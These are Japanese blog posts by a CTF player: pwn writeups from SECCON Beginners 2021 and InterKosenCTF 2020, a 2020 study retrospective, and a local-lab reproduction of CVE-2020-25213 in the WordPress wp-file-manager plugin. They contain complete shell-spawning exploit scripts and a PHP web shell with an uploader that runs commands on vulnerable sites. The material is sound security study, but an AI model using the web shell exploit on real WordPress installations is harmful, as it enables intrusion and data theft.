#print(hex(first_chk)) #print(hex(libc_base)) conn.interactive() if __name__ == "__main__": exploit()
2021_emulator(pwn)
簡易エミューレータの問題です。
ソースが配られているのはありがたいです。
ソースコード一部抜粋
struct emulator { uint8_t registers[REGISTERS_COUNT]; uint8_t memory[0x4000]; void (*instructions[0xFF])(struct emulator*); };
構造体emulatorにはレジスタとメモリと命令の関数テーブルが配置されているのですが、memoryの範囲外のアクセスができてしまう脆弱性があるので関数テーブルを書き換えることができてしまいます。
instructions[0x00]をplt_systemにし、regsiters[0]="s", registers[1]="h", registers[2]="\x00"の状態でemulatorが0x00に当たる命令を実行しようとすると emu->instructions[0x00](emu) ==> system("sh")が呼ばれshellが立ち上がります。
#!/usr/bin/python3 from pwn import * import sys #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" #""" HOST = "emulator.quals.beginners.seccon.jp" PORT = 4100 """ HOST = "localhost" PORT = 7777 #""" if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) def exploit(): # plt_system = 0x4010d0 mvi_a = b"\x3e" mvi_b = b"\x06" mvi_c = b"\x0e" mvi_h = b"\x26" mvi_l = b"\x2e" mvi_m = b"\x36" payload = b"" payload += mvi_h payload += b"\x40" payload += mvi_l payload += b"\x04" payload += mvi_m payload += b"\xd0" payload += mvi_l payload += b"\x05" payload += mvi_m payload += b"\x10" payload += mvi_a payload += b"s" payload += mvi_b payload += b"h" payload += mvi_c payload += b"\x00" payload += b"\x00" #emu->instruction[0x00](emu) ---> plt_system("sh\x00") payload += b"\xc9\n" conn.sendlineafter("memory...\n", payload) conn.interactive() if __name__ == "__main__": exploit()
First Bloodでした。(やったね)
freeless(pwn)
free関数なしでどうにかしましょうという問題です。
これはhouse of orangeと呼ばれるテクニックの一部を使うとfreeなしでchunkをfreelistにつなぐことができることが知られています。
問題バイナリのeditコマンドにはヒープオーバーフローの脆弱性があるためこれが使えそうです。
ザックリ説明するとtopのsizeを改変してそのsizeよりも大きいサイズのchunkを用意すると改変されたtopのchunkがfreeされるといった要領です。
日本語での詳しい説明は有料になっちゃいますが、kusanoさんの書籍がよく纏まっていてわかりやすかったです。
Malleus CTF Pwn Second Edition:superflip
※追記: 「CTFするぞ」にないわけがなかった。過去の自分も読んでstarを押していたのにこのエントリの存在忘れていました。
house of orangeによりmallocから_int_freeを呼ぶ - CTFするぞ
freelistにchunkを繋ぐことさえできれば、ヒープオーバーフローもあり、mallocできる回数に制限はありますが、sizeの制限は厳しくないので比較的自由なexploitを組むことができます。
自分はtcacheにつなげたchunkでheapアドレスリーク、unsorted binのchunkを作ってlibcリーク、tcache poisoningでtcache_perthread_structをlinkに繋いで任意のアドレスを自由に確保できるようにしました。
そして_IO_list_all, vtable(_IO_file_jumps), malloc_hook周辺のアドレスをchunkとして確保してFSOPという流れです。
ただプログラムの終了に使われている関数はexit()でなく、_exit()であるためFSOPで使う_IO_flush_all_lockpが呼ばれません。そのためmalloc_hookをexit()にして無理やりFSOPに持ち込みました。
FSOPについての資料は自分はこれで理解できました。
前者は前まで英語verもあったが現在は中国語しかないみたい?もしかしたら微妙かもです。
Play with FILE Structure - Yet Another Binary Exploit Technique
#!/usr/bin/python3 from pwn import * import sys #import kmpwn sys.path.append('/home/vagrant/kmpwn') from kmpwn import * # fsb(width, offset, data, padding, roop) # sop() # fake_file() #config context(os='linux', arch='i386') context.log_level = 'debug' FILE_NAME = "./chall" #""" HOST = "freeless.quals.beginners.seccon.jp" PORT = 9077 """ HOST = "localhost" PORT = 7777 """ if len(sys.argv) > 1 and sys.argv[1] == 'r': conn = remote(HOST, PORT) else: conn = process(FILE_NAME) elf = ELF(FILE_NAME) libc = ELF('./libc-2.31.so') off_unsorted = libc.symbols["__malloc_hook"] + 0x70 off_malloc_hook = libc.symbols["__malloc_hook"] off_io_list = libc.symbols["_IO_list_all"] off_vtable = libc.symbols["_IO_file_jumps"] off_system = libc.symbols["system"] off_exit = libc.symbols["exit"] def create(idx, size): conn.sendlineafter("> ", "1") conn.sendlineafter(": ", str(idx)) conn.sendlineafter(": ", str(size-0x8)) def edit(idx, data): conn.sendlineafter("> ", "2") conn.sendlineafter(": ", str(idx)) conn.sendlineafter(": ", data) def show(idx): conn.sendlineafter("> ", "3") conn.sendlineafter(": ", str(idx)) conn.recvuntil("data: ") def exploit(): payload = b"A"*0x18 payload += p64(0x71) create(0, 0xd00-0x20) create(1, 0x20) edit(1, payload) # overwrite top size create(2, 0x1000-0x20-0x70) create(3, 0x20) edit(3, payload) # overwrite top size payload = b"A"*0x18 payload += p64(0x51) payload = b"A"*0x18 payload += p64(0x441) create(4, 0x1000-0x20-0x440) create(5, 0x20) edit(5, payload) create(6, 0x1000) leak_padding = b"A"*0x1f + b"X" edit(5, leak_padding) show(5) conn.recvuntil("AX") libc_unsorted = u64(conn.recv(6)+b"\x00\x00") libc_base = libc_unsorted - off_unsorted libc_io_list = libc_base + off_io_list libc_vtable = libc_base + off_vtable libc_system = libc_base + off_system libc_malloc_hook = libc_base + off_malloc_hook libc_exit = libc_base + off_exit payload = b"A"*0x18+p64(0x421) edit(5, payload) edit(3, leak_padding) show(3) conn.recvuntil("AX") heap_addr = conn.recvline()[:-1] heap_base = u64(heap_addr + b"\x00"*(8-len(heap_addr))) -0x290-(0xd00-0x20)-0x20-0x10 edit(3, b"A"*0x20+p64(heap_base+0x10)) create(7, 0x50) create(8, 0x50) fake_tcache_struct = b"\x07\x00"*0x40 fake_tcache_struct += p64(libc_io_list) fake_tcache_struct += p64(libc_vtable) fake_tcache_struct += p64(libc_malloc_hook) edit(8, fake_tcache_struct) create(9, 0x20) edit(9, p64(heap_base+0x290+0x10)) create(10, 0x30) edit(10, p64(0)+p64(libc_system)) create(11, 0x40) edit(11, p64(libc_exit)) fake_file = file_plus_struct() fake_file._flags = u64("/bin/sh\x00") fake_file._IO_write_ptr = 1 fake_file._IO_write_base = 0 fake_file._vtable = libc_vtable-0x10 edit(0, fake_file.get_payload()) create(15, 0x100) # call malloc() -> exit() print(hex(libc_base)) print(hex(heap_base)) conn.interactive() if __name__ == "__main__": exploit()
First Bloodでした。(やったね)
にしても、beginnersが集まる大会にしてはsolves多かった印象です。 2021_emulatorより遥かに難しいと思っています。
writeme(misc)
チームメイトntomoya氏とあさっち氏が/proc/self/memでの書き換えだったり、id(1)でのアドレスリークの主要なアイデアを出してくれた&トドメをさしてくれたのでほぼ何もしていませんが。。。
id(1),id(2)の実行結果、メモリダンプを見ると id(1) -> 0x954e20 id(2) -> 0x954e40
0x954e20: 0x000000000000032c 0x000000000090a3e0 0x954e30: 0x0000000000000001 0x0000000000000001 0x954e40: 0x0000000000000229 0x000000000090a3e0 0x954e50: 0x0000000000000001 0x0000000000000002 0x954e60: 0x000000000000011c 0x000000000090a3e0 0x954e70: 0x0000000000000001 0x0000000000000003 0x954e80: 0x0000000000000167 0x000000000090a3e0 0x954e90: 0x0000000000000001 0x0000000000000004 0x954ea0: 0x00000000000000a5 0x000000000090a3e0 0x954eb0: 0x0000000000000001 0x0000000000000005
となっていて、実行結果のoffset0x18がその整数を表していそうなので、gdb python3でその箇所を書き換えてみたところプログラムが落ちてしまい、これじゃないか。。と思っていたのですが、どうやらそれで正解だったみたいです。
ローカルだとなぜ動かなかったのでしょうか。。。pythonインタープリタだからだったのか、よくわかっていません。。。
終わりに(ぽえむ)
昨年も言った気がするのですが、自分はctf4bは第1回からの皆勤賞で193位->9位->3位->1位みたいな感じで来ていて、第1回はwelcome,easyあたりを2~3問しか解けなかったと思うので、今回初参加してあんまり解けなかったって人もこれから頑張ればいいと思います。
個人的な意見ですが、解けなくてモチベが下がる気持ちもわかりますが、継続することと同じレベルくらいのメンバーでモチベーションを高め合うのが大事な気がします。
最近ではKUDoSも参加するctfを絞るようになってきましたが、チーム参加〜1年くらいの間は幣チームのリーダーが毎週末狂ったようにslackにctfのアナウンスを投げ続けてくれていたので、これが自分にとってのモチベーション維持の面で大きかったのかなと思います。
と調子に乗って偉そうなことを言ってしまいましたが、海外大会とかになるとまだまだ実力不足なのでこれからも頑張りたい次第です。 今年は海外クソデカつよつよCTFでも30位以内に入ることを目標にしております。
special thanks ctf4b 運営・作問の方々
毎年本当に高い質のCTFをありがとうございます。
難易度は難しい、難化したみたいな声がありますが、個人的にはとても良い難易度の問題セットだと思っています。
special thanks2 一緒に参加してくれたメンバー しょうおもんないおじさんが3人くらいいますね
勉強したこと&やったことまとめ(2020年)
あけましておめでとうございます。
ということで、かなり遅いけど2020年振り返ってみた。
覚えている限りで自分の読んだ本、やったことまとめる。
昨年はプライベートでバタバタしたけど、それなりにいろいろ吸収できたと思う。
書籍
気づけばプロ並みPHP改訂版
動機: web系の脆弱性周りについて勉強したかったので、とりあえずPHPをやっておく必要があると感じたから買った。
感想: 初心者向けの本としては悪くないと思う。個人的には書かれてるコードはあんまり好きじゃない。ちなみにセキュリティの項目はおまけ程度。
railsやった後に思ったけど、PHPのフレームワークを最初から触ってもよかったかもって思った。
徳丸本
動機: webセキュリティに入門したかった。
感想:とても良かった。実際に動いているところを見て理解できる。みんなが勧める理由もわかる。
Goならわかるシステムプログラミング
動機: go言語知りたくなってtour of goで一通り
勉強した後、面白そうだから買った。
感想: レベルとしては大学で勉強するOS、システムプログラミングの基礎知識みたいな感じだったけど、自分みたいなgo初学者からするとサンプルコードいっぱい書いたりして面白かった。
序盤は章末に問題があったのが、中盤からなくなってしまったのが少し残念だった。元々asciiでの連載してた内容だったのもあって忙しかったのかな。
Javascript Primer
動機: CTFで出題されるJSのexploitを習得したかったが、JS何もわからんってなったので買った。
感想: JS複雑すぎる。とても面白かったし、読みやすかった。一通り文法や仕様について解説した後、最後にちょろっとコードを書く章もあって良い。
たまたま読んだ後に仕事でもJavaScript書く機会があったからちょうど良かった。
Real World HTTP
動機: web周りの知識が欲しかった。面白そうだった。著者が前述のgoならわかるシスプロの人。
感想: HTTPとかWebアプリとかの知識について、歴史に沿いながら学べる。とても良かった。goで簡単な実装ができるのも良い。
めんどうくさいWebセキュリティ
動機: web周りの知識が欲しかった。CTFのチームメイトに勧められた。
感想: 正直難しくて、理解できたのが30%くらいだと思う。ブラウザの歴史がわかるところとか、IEに対する皮肉がたびたび出てくるのは面白かったけど、ブラウザの仕様とかについての知識が不足していてわからない章はとことんわからなかった。サンプルコードとか例がないのもキツかった。わかる人はとても面白いと思う。初学者にはきついかも。自分がいつも感じる翻訳本独特の読み辛さはこの本はマシだった。
CTF
都合いい奴なので成績が良かったやつ書く
SECCON Beginners 2020 3位
InterKosenCTF 4位
TSGCTF 17位
b01lerCTF 12位
SECCON2020 Online 15位
Harekaze mini CTF 6位
国内CTFで上位とってイキるのは今年で終わりにしたいな。 来年は海外CTFでも30位以内入れる大会を増やすこと目標頑張る。
その他
Arm binary exploit
とりあえずazeriaの記事読んでlabを進めた。
x86,x64の基本的なbinary exploitができたらそんなに難しくない。Thumb理解したらropもshellcodeも簡単なやつは書けるようになる。 その後rootmeで数問解いた以降続きはやれていない。CTFでもまだarmの問題はあんまり見ていない気がする。今後増える可能性はあると思ってるんだけど。
Burp Web Academy
チームメイトに進められてやったけど、めちゃくちゃ良かった。Labがよく作り込まれている。解説もあるしこれが無料は正直引く。
2~3ヶ月くらいかけてチマチマ進めた。 textは全部読んで、一通りの脆弱性の説明は抑えた。labは解説見てもわからんのとburp pro使わないといけない問題とかが残っていて80%くらい。ちゃんと完走したいね。
Browser Exploit 入門
厳密に言うとJavasciptCoreしか入門できてない。
liveoverflowの動画めっちゃわかりやすいし、本当に面白かった。Browser Exploitできるやつ天才すぎる。
www.youtube.com
何問か解いてみたい過去問の目星はついてるんだけどまとまった時間が欲しくて、まだできていない。これは言い訳でよくない。
Rails Tutorial
webアプリのフレームワークをnodejsのexpressくらいしか触ったことなかったので、メジャーなやつ触りたいと思ったからやった。
めちゃくちゃ良かったし、学生時代に触っておけば良かったと思った。プログラミング初心者にはこれを勧めるべきでは。
まとめ
armにwebにブラウザに、、少し手を広げすぎた感が否めない。もっと深掘りしようと思う。
社会人慣れてきた感あるし、今年はCTFと並行してbug bountyとかにも挑戦したい。
今年もよろしくお願いします。
やりつくされたCVE-2020-25213のPoC検証をあえてやる
一応肩書きがセキュリティエンジニアになったので、セキュリティエンジニアならPoCくらい動かさんかい、ということで2020年9月頃に情報公開されたwordpressのfile-managerプラグインの脆弱性であるCVE-2020-25213のPoC検証をやろうと思います。
なんでこれ選んだかの理由は特にないです。強いて言えばwordpress触ったことないし、結構話題になっていた気がしたからです。
別に新しいことを書くとかではないです。メモ程度に。
環境構築
Dockerでwordpress,mysqlのイメージから作成
file-managerの脆弱なバージョンのzipも持ってきておいて、コンテナにアップロード、展開しておきます。
6.9未満が対象で今回は6.0を使ってます。公式が配布している過去バージョンから取得。
https://wordpress.org/plugins/wp-file-manager/advanced/
適当に作ったDockerfile,PoC諸々はこちら
検証
file-managerはwordpressのサーバにファイルをアップロードするためのプラグインで、本来FTPとかを利用してアップロードするものを管理者画面からアップロードできるようにする機能が使えます。 機能的にも結構使われていたっぽいですね。
とりあえずPoC動かしましょう。
最初にブラウザからアクセスして初期設定を行って、
file-mangerも有効にしておきます。
では実行しましょう。
- wp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpに対してPOSTメソッドでphpファイルのアップロードを行います。
- アップロードされたファイルはwp-content/plugins/wp-file-manager/lib/files下にアップロードされるのでそこにアクセスすれば任意のphpコードの実行が可能です。
とても簡単。
PoCではクエリのパラメータのコマンドを実行するようなphpをアップロードしています。ネット上のレポート見ても実際この類の攻撃が行われていたようです。
アップロードするcmd.php
<?php echo system($_GET["cmd"]);?>
exploitコード
#!/usr/local/bin/python3 import requests url = "http://localhost:8080/wp-content/plugins/wp-file-manager/lib" def exploit(): # set post request parameters file_name = 'cmd.php' cmd = 'cat /etc/passwd' data = ( ('upload[]', open(file_name, 'rb')), ('cmd', (None, 'upload')), ('target', (None, 'l1_Lw')) ) # upload php res = requests.post("{}/php/connector.minimal.php".format(url), files=data) print(res.status_code) print(res.text) # execute php res = requests.get("{0}/files/{1}?cmd={2}".format(url,file_name,cmd)) print(res.status_code) print(res.text) exploit()
脆弱性の原因
file-managerが使用している、サーバ上のファイルを扱うライブラリelFinderのインスタンスが外部のユーザが参照できるlib/phpディレクトリ下のconnector.minimal.phpで呼び出せてしまうのが原因。
↓wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php(一部)
... $opts = array( // 'debug' => true, 'roots' => array( // Items volume array( 'driver' => 'LocalFileSystem', // driver for accessing file system (REQUIRED) 'path' => '../files/', // path to files (REQUIRED) 'URL' => dirname($_SERVER['PHP_SELF']) . '/../files/', // URL to files (REQUIRED) 'trashHash' => 't1_Lw', // elFinder's hash of trash folder 'winHashFix' => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too 'uploadDeny' => array('all'), // All Mimetypes not allowed to upload 'uploadAllow' => array('all'), // Mimetype `image` and `text/plain` allowed to upload 'uploadOrder' => array('deny', 'allow'), // allowed Mimetype `image` and `text/plain` only 'accessControl' => 'access' // disable and hide dot starting files (OPTIONAL) ), // Trash volume array( 'id' => '1', 'driver' => 'Trash', 'path' => '../files/.trash/', 'tmbURL' => dirname($_SERVER['PHP_SELF']) . '/../files/.trash/.tmb/', 'winHashFix' => DIRECTORY_SEPARATOR !== '/', // to make hash same to Linux one on windows too 'uploadDeny' => array('all'), // Recomend the same settings as the original volume that uses the trash 'uploadAllow' => array('image/x-ms-bmp', 'image/gif', 'image/jpeg', 'image/png', 'image/x-icon', 'text/plain'), // Same as above 'uploadOrder' => array('deny', 'allow'), // Same as above 'accessControl' => 'access', // Same as above ), ) ); // run elFinder $connector = new elFinderConnector(new elFinder($opts)); $connector->run(); ...
せっかくなので$connector->run()について、もう少し動作を追ってみましょう。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinderConnector.class.php(重要なところ抜粋)
class elFinderConnector { ... public function run() { $isPost = $this->reqMethod === 'POST'; $src = $isPost ? array_merge($_GET, $_POST) : $_GET; ... $cmd = isset($src['cmd']) ? $src['cmd'] : ''; $args = array(); ... $hasFiles = false; foreach ($this->elFinder->commandArgsList($cmd) as $name => $req) { if ($name === 'FILES') { if (isset($_FILES)) { $hasFiles = true; } elseif ($req) { $this->output(array('error' => $this->elFinder->error(elFinder::ERROR_INV_PARAMS, $cmd))); } } else { $arg = isset($src[$name]) ? $src[$name] : ''; if (!is_array($arg) && $req !== '') { $arg = trim($arg); } ... $args[$name] = $arg; } } ... $args = $this->input_filter($args); if ($hasFiles) { $args['FILES'] = $_FILES; } try { $this->output($this->elFinder->exec($cmd, $args)); } catch (elFinderAbortException $e) { ... } } ... }
ここのポイントはPOSTで指定したcmd=uploadが$cmdに、target=l1_LW,アップロードしたファイルをが$argsに入りelFinder->exec($cmd,$args)が呼ばれているということ。
ではelFinderを見ていく。 ↓wp-content/plugins/wp-file-manager/lib/php/elFinder.class.php(重要なところ抜粋)
class elFinder { ... protected $commands = array( 'abort' => array('id' => true), 'archive' => array('targets' => true, 'type' => true, 'mimes' => false, 'name' => false), 'callback' => array('node' => true, 'json' => false, 'bind' => false, 'done' => false), 'chmod' => array('targets' => true, 'mode' => true), 'dim' => array('target' => true, 'substitute' => false), 'duplicate' => array('targets' => true, 'suffix' => false), 'editor' => array('name' => true, 'method' => true, 'args' => false), 'extract' => array('target' => true, 'mimes' => false, 'makedir' => false), 'file' => array('target' => true, 'download' => false, 'cpath' => false, 'onetime' => false), 'get' => array('target' => true, 'conv' => false), 'info' => array('targets' => true, 'compare' => false), 'ls' => array('target' => true, 'mimes' => false, 'intersect' => false), 'mkdir' => array('target' => true, 'name' => false, 'dirs' => false), 'mkfile' => array('target' => true, 'name' => true, 'mimes' => false), 'netmount' => array('protocol' => true, 'host' => true, 'path' => false, 'port' => false, 'user' => false, 'pass' => false, 'alias' => false, 'options' => false), 'open' => array('target' => false, 'tree' => false, 'init' => false, 'mimes' => false, 'compare' => false), 'parents' => array('target' => true, 'until' => false), 'paste' => array('dst' => true, 'targets' => true, 'cut' => false, 'mimes' => false, 'renames' => false, 'hashes' => false, 'suffix' => false ), 'put' => array('target' => true, 'content' => '', 'mimes' => false, 'encoding' => false), 'rename' => array('target' => true, 'name' => true, 'mimes' => false, 'targets' => false, 'q' => false), 'resize' => array('target' => true, 'width' => false, 'height' => false, 'mode' => false, 'x' => false, 'y' => false, 'degree' => false, 'qua lity' => false, 'bg' => false), 'rm' => array('targets' => true), 'search' => array('q' => true, 'mimes' => false, 'target' => false, 'type' => false), 'size' => array('targets' => true), 'subdirs' => array('targets' => true), 'tmb' => array('targets' => true), 'tree' => array('target' => true), 'upload' => array('target' => true, 'FILES' => true, 'mimes' => false, 'html' => false, 'upload' => false, 'name' => false, 'upload_path' => false, 'chunk' => false, 'cid' => false, 'node' => false, 'renames' => false, 'hashes' => false, 'suffix' => false, 'mtime' => false, 'overwrite' => false, 'contentSaveId' => false), 'url' => array('target' => true, 'options' => false), 'zipdl' => array('targets' => true, 'download' => false) ); ... public function exec($cmd, $args) { ... $dstVolume = false; $dst = !empty($args['target']) ? $args['target'] : (!empty($args['dst']) ? $args['dst'] : ''); if ($dst) { $dstVolume = $this->volume($dst); } else if (isset($args['targets']) && is_array($args['targets']) && isset($args['targets'][0])) { ... } else if ($cmd === 'open') { ... } $result = null; ... if (!is_array($result)) { try { $result = $this->$cmd($args); } catch (elFinderAbortException $e) { throw $e; } catch (Exception $e) { ... } } ... } ... protected function volume($hash) { foreach ($this->volumes as $id => $v) { if (strpos('' . $hash, $id) === 0) { return $this->volumes[$id]; } } return false; } ... }
exec()の中では$this->$cmd($args);が呼ばれている、つまりelFinderのuploadメソッドが呼ばれている。 このuploadメソッドの中でファイルアップロードの処理が行われている。exploitコードでtargetに指定したl1_LwはelFinderクラスで管理しているvolumeを識別するようなものらしい。これがちょっとよくわからなかった。ソースコード見ているとg1_Lwや$optに指定されているt1_Lwとかは出てくるのだが、命名規則も不明。分かったら追記しようかなと。
少し追ったことからわかるように、実はupload以外のコマンドも実行しようと思えばできるみたい。まあ攻撃となると任意コード、コマンド実行が可能なuploadが一択だと思うけど。
参考にしたサイト
www.wordfence.com
対策
6.9以降で対策されているので更新しましょう。 6.9のパッケージを見るとwp-content/plugins/wp-file-manager/lib/php/connector.minimal.phpが消されてた。これで外部のユーザがelFinderのインスタンスを自由に使えなくなった。
おわりに
ポエムは見返すと恥ずかしくなる。以上。
InterKosenCTF 2020 Writeup
初めに
InterKosenCTFにKUDoSで参加しました。最終順位は4位となかなかいい感じでした。
自分が解いたpwnの問題4問のwriteupを書きます。
よろしくです。
babysort
概要
配布ファイル
* main.c
* chall(問題バイナリ)
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not stripped
checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable
libcのqsortを利用した問題。qsortは関数ポインタを第4引数にとっており、qsortが呼ばれると登録した関数が呼ばれてソートが行われるみたいです(自分も調べるまで使ったことなかったので、こういうのは出てきたら適宜調べればいいと思います)。
ユーザは最初に5つの数字をscanfで配列se.elmに入力して、その後0か1の入力で予めse.cmp[]に登録された関数をqsortの引数に渡して実行をするような流れです。
typedef int (*SORTFUNC)(const void*, const void*); typedef struct { long elm[5]; SORTFUNC cmp[2]; } SortExperiment; /* call me! */ void win(void) { char *args[] = {"/bin/sh", NULL}; execve(args[0], args, NULL); } int cmp_asc(const void *a, const void *b) { return *(long*)a - *(long*)b; } int cmp_dsc(const void *a, const void *b) { return *(long*)b - *(long*)a; } int main(void) { SortExperiment se = {.cmp = {cmp_asc, cmp_dsc}}; int i; /* input numbers */ puts("-*-*- Sort Experiment -*-*-"); for(i = 0; i < 5; i++) { printf("elm[%d] = ", i); if (scanf("%ld", &se.elm[i]) != 1) exit(1); } /* sort */ printf("[0] Ascending / [1] Descending: "); if (scanf("%d", &i) != 1) exit(1); qsort(se.elm, 5, sizeof(long), se.cmp[i]); /* output result */ puts("Result:"); for(i = 0; i < 5; i++) { printf("elm[%d] = %ld\n", i, se.elm[i]); } return 0; } __attribute__((constructor)) void setup(void) { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(300); }
方針
後半の0か1を入力して関数を呼び出す際の入力のチェックが行われていないところに脆弱性があります。
例えば-1を入力するとse.cmp[-1]がqsortの呼び出しに当たって呼び出されます。se.cmp[-1]はメモリ上だとse.elm[4]を指しているので、前半se.elm[]に値を入力する際にripを飛ばしたい値をセットすることで、任意のアドレスに飛ぶことができます。
バイナリにはshellが起動するwin関数が用意されているのでこちらに飛ばしましょう。
Exploit
authme
概要
配布ファイル
* main.c
* password(dummy)
* username(dummy)
* chall(問題バイナリ)
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not stripped
checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable
username,passwordファイルを予めグローバルなchar配列に読み込み、
ユーザーはfgetsを2回繰り返し、usernameとpasswordを入力。
ファイルから読み込んだusername,passwordと一緒ならシェルが起動するという流れ。
方針
bufのサイズが0x20なのに対してfgetsが入力サイズを0x40を指定しているので、BOFの脆弱性があります。
ただし、普通に入力をし実行していると、mainからreturnが行われずexit()でmain関数が終了するので、BOFを起こしたとしても任意のアドレスに飛ぶことができません。
idaのグラフビューをみるとわかりやすいですが、BOFを起こしてかつmainからreturnするには、1回目のfgetsでBOFを起こして2回目のfgetsの返り値を0(null)にできれば、攻撃が成功しそうです。
fgetsの返り値ですが、manualを見ると成功した場合は文字列を読み込んだアドレスが返り、EOFを読み込んだかつ1文字も読み込めなかった場合にエラーとしてnullが返るようです。
なので、2回目のfgetsでEOFを送れば良さそうです。
ただEOFで入力を閉じてしまうと、シェルが起動できてもcatコマンド等が打てないので、今回はシェルの起動はなくusernameとpasswordをputsでリークすることを目標にしましょう。
BOFでstackに仕込める値も3qwordなのでgadget(pop rdi; ret),
username or passwordのアドレス,plt_putsで良さそうです。
が、、、EOFってどうやって送るんでしょうか?? 自分はこれに無限に時間を溶かしました。。。0x03や0x04を送ってみてもダメ。。。EOFの送信とかについて調べてもパッとした情報に辿り着けませんでした。
試行錯誤した結果、最終的な僕の解法はこれです(クソださ)
$(python -c 'print "A"*0x28 + "\x03\x0b\x40\x00\x00\x00\x00\x00\xe0\x20\x60\x00\x00\x00\x00\x00\xa0\x06\x40\x00\x00\x00\x00"'|tr -d "\n";cat ) |nc -q 3 pwn.kosenctf.com 9002
ターミナル上で上記のコマンドを打ったあと、手打ちでCtrl-Dを押してやります。そうするとputsによるリークができるので、この情報を使って正規にauthlizationを行い/bin/shを起動しましょう。
余談
上のコマンドにたどり着くまでの過程ですが
$echo "payload"|./chall
ローカルだとこれで入力を閉じれて、putsが実行されましたが、
$echo "payload"|nc host port
これはダメでした。ソケットだとまた別なんでしょうか。
次にやったこととして
$(echo "payload";cat)|nc host port
catで入力できるようにしつつ、手打ちでCtrl-Dを押してEOFを送ろうという目論見です。 これもダメでした。ただCtrl-Dは送信できていて、Ctrl-Dの後に改行等を送信しても何も反応がなく、時間が経つとalarmで強制終了になってしまいます。
そこで解法のnc -qオプションでtimeoutを指定する方法を試し、コマンド入力後Ctrl-Dを手打ちすると、、、
$(echo "payload";cat) |nc -q (timeout) host port
できました。もうパソコンよくわかりません。qオプションを指定しないとEOF後も入力を待ち続けちゃうのでしょうか。。。
Exploit
Fables_of_aeSOP
概要
配布ファイル
* chall(問題バイナリ)
* libc-2.23.so
* banner.txt
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Stripped
checksec結果
* RELRO : Full RELRO
* Canary : Enable
* NX : Enable
* PIE : Enable
問題名からもlibc2.23であることからも分かるとおりFSOPの問題です。
FSOPについては知らない場合はここら辺を参照するといいと思います。
PIEが有効ですが、最初にshellを起動するwin関数のアドレスを教えてくれます。
banner.txtをfopenして返り値をグローバル変数に代入します(以下streamと呼びます)。
またgetsでグローバル領域に用意されているsize=0x200のbuffer(以下bufと呼ぶ)にgetsで入力します。
その後fclose(stream)でファイルをクローズします。
流れはこんな感じで、この時のメモリレイアウトは以下のようになっています。(PIEがEnableなのでアドレスはオフセット)
0x202060: char buf[0x200] 0x202260: FILE* stream
方針
bufにgetsで入力しているので、banner.txtのFILE構造体をさすポインタを書き換えることができます。
libc2.23ではvtableのアドレスのチェックが行われないのでbuf内にfakeのFILE構造体とfakeのvtableをどちらも用意しましょう。
あとはfake_vtableの_IO_FINISHをwin関数のアドレスにしておきます。
Exploit
fakeのFILE構造体は値は結構適当にしている箇所があります。_flagsとか_lockとかのメンバは注意する必要があります。
confusing
概要
配布ファイル
* chall(問題バイナリ)
* libc-2.27.so
* main.c
* type.h
ファイルコマンド結果
* Arch : x86-64
* Library : Dynamically linked
* Symbol :Not Stripped
checksec結果
* RELRO : Partial RELRO
* Canary : Disable
* NX : Enable
* PIE : Disable
Undefined, String, Double, Integerを扱うunionをテーマにした問題です。
問題文からもwebkitのjsエンジンが元ネタのようですが、ここら辺の知識がなくてもコードを読めば十分に解けます。(自分もliveoverflowの動画で見たくらいで、あまり詳しくないです)
またこのバイナリでは入力はlibcのgetline関数で行っています。getline関数の内部ではmalloc,reallocが実行されるのでここら辺の挙動もよく観察しましょう。
上でテーマであると話したこれらの型(jsではプリミティブと呼ばれたりして、cの型と概念が少し異なるようですが、ここでは単に型と呼びます)はtype.hで定義されていて、全て64bit長のデータとして扱われます。Integerも表現できる幅は32bitですが64bitで扱われます。
説明が難しいのでtype.hにあるコメントとコードを見た方が早そうですね。
... ... * > The top 16-bits denote the type of the encoded JSValue: * > * > Pointer { 0000:PPPP:PPPP:PPPP * > / 0001:****:****:**** * > Double { ... * > \ FFFE:****:****:**** * > Integer { FFFF:0000:IIII:IIII ... ... #define VALUE_UNDEFINED ((void*)0x0a) #define MAGIC_STRING 0x0000 #define MAGIC_INTEGER 0xFFFF /* A magic type that can keep string, double and integer! */ typedef union __attribute__((packed)) { char *String; double Double; int Integer; struct __attribute__((packed)) { unsigned long data : 48; unsigned short magic: 16; } data; } Value;
全ての型は64bitの上位16bitで識別することができます。Stringなら0、Doubleなら1~0xfffe、Integerなら0xffffといった感じです。
またUndefinedは0x0aで表現されます。
次にバイナリの実行の流れを見ていきましょう。 このバイナリでは長さが10のunionの配列listの中身をセット、表示、消去の動作を3つのコマンドで選択できます。
Set
indexとセットしたい型をString, Double, Integerの中から数字で選択します。
指定したindexにすでにStringがセットされていた場合は、その値をfreeして新しい値をセットします。
指定したindexがStringでない場合は値がセットされている、いないにかかわらず新しい値で書き換えを行います。
新しくStringをセットする場合はgetline関数で入力を読み込み、そのまま確保したchunkのアドレスをセットします。Show listの10個の要素について、型とその値を表示します。Stringであった場合はポインタが指す先の文字列を表示します。
delete indexを指定して値をUndefinedにします。指定したindexがStringであった場合はその値をfreeしてからUndefinedにします。
大まかな流れはこんな感じです。
方針
概要でStringは上位16bitが0、Doubleは0x1~0xfffeを取りうると言ったのですが、この定義通りに実装されておらず、Doubleをセットするときに上位16bitが0だったとしてもその値がそのまま格納されてしまいます。つまりStringとDoubleの判別が付かなくなってしまうのです。各コマンドでlist[index]がStringであるかをチェックする関数Value_IsStringがあるのですが、上位16bitが0かつUndefinedであればTrue、つまりStringであると判別されます。なので上位16bitが0になるようなdoubleの値をセットすると、以降それはStringとして扱われてしまいます。これを利用して攻撃を行います。
大まかな流れは以下の通りです。
1. libc,heapアドレスリーク
2. 複数のchunkにまたがるoverlapped chunkの作成
3. tcache poisoning
4. free_hookのoverwrite
libc, heapアドレスリーク
これはPIEがDisableなので結構簡単にできます。
